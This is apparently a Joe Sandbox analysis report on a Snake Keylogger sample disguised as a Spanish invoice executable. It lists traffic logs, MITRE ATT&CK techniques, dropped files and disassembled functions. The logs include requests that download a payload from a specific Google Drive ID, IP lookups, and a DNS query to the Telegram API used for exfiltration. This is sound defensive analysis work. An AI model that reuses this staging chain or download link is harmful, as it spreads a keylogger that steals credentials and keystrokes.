Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1oJw8WIUYqUxWmFwtYXemvm2bVtwDyPlb&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Factura Honorarios 2024-10.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Modspiller.Ste

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Pjaskeriers.fra

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\cornetcies.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\dmt.roi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\hisset.tjr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\juleriernes.lia

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\matematikopgavens.sti

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Unfleeing\tipssensationens.hve

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\akvarierne.lbe

C:\Users\user\AppData\Local\Temp\nsn497A.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
Factura Honorarios 2024-10.exe

Function 004031FF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00403741 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 004055FF Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402D69 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00405021 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre